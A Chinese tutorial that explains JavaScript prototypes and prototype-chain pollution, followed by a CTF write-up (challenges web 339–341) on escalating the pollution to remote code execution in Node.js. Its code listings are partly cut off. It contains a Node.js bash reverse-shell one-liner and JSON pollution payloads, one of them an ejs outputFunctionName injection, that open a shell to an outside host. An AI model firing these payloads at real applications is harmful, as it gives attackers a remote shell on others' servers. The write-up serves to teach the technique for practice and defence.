[nodejs从原型链污染到RCE]
JS中的原型和原型链
原型
function Foo(name,age){ |
Foo函数的内容,就是Foo类的构造函数,this.name,this.age就是Foo类的一个属性。
一个类中必然有一个方法,类似属性,我们可以将方法定义在构造函数内部:
function Foo(name,age){ |
但是这样写的话,我们每次构造一个Foo对象时都会执行依次this.show=function(),这个show方法实际上是绑定在对象上而不是绑定在类中。
我们希望创建类Foo只创建依次show方法,这时候我们就需要使用原型prototype了
function Foo(name,age){ |
我们认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上述代码中的foo对象,其天生就具有foo.show()方法。
我们可以通过Foo.prototype来访问Foo类的原型,但是Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就需要__proto__.
一个Foo类实例化出来的foo对象,可以通过foo.__proto__来访问Foo类原型,也就是说。
foo.__proto__ == Foo.prototype |
原型链
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JS中的继承机制。
var util = require('util'); |
$ node class.js |
因为对象的__proto__属性指向构造函数的prototype属性,并且当访问对象不存在的属性时,会从它的构造函数的prototype去寻找
首先,objSub.__proto__ == Sub.prototype,如果我们尝试访问objSub.objFunc(),由于Sub类不存在该方法,于是从Sub.prototype寻找,Sub.prototype也没有该方法。由于util.inherits(Sub,Base),Sub继承了Base,于是从Base.prototype寻找,也没有。最后找到了Object.prototype有该方法。该过程就形成了一条JS原型链。
原型链污染
通过前面的初步了解,我们已经知道foo.__proto__ => Foo.prototype,那么,如果我们修改了foo.__proto__中的值,是不是就能修改Foo类呢
// foo是一个简单的JavaScript对象 |
我们通过修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2
而我们后面又用Object类创建了一个zoo对象{},虽然创建时为空,但是因为对象有类Object中的所有属性和方法,所以自然有bar = 2这个属性了.
function Foo(){ |
$ node test.js |
可以Foo类中本来没有bar这个属性,而我们通过修改foo.__proto__即Foo得原型来使Foo类多了一个bar属性,值为2
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么可以影响所有和这个对象来自同一个类、父祖类,这个攻击方式就是原型链污染
原型链污染触发示例
常见与merge,clone,copy,数组赋值等通过数组键名来赋值的情况。
function merge(target, source) { |
在合并的过程中,存在target[key] = source[key]进行键值赋值的情况,这里的key如果是__proto__,那么就可能存在原型链污染的情况,用如下代码测试
let o1 = {}; |
$ node test.js |
nodejs命令执行
global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"') |
题目分析
web 339
// login.js |
//api.js |
在api.js中发现危险函数。
表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。
那么,我们考虑污染query,实现RCE。
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}} |
在登陆处抓包,修改后发送payload,然后访问/api路由触发payload实现RCE。
web 340
同上
web 341
ejs RCE
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}} |
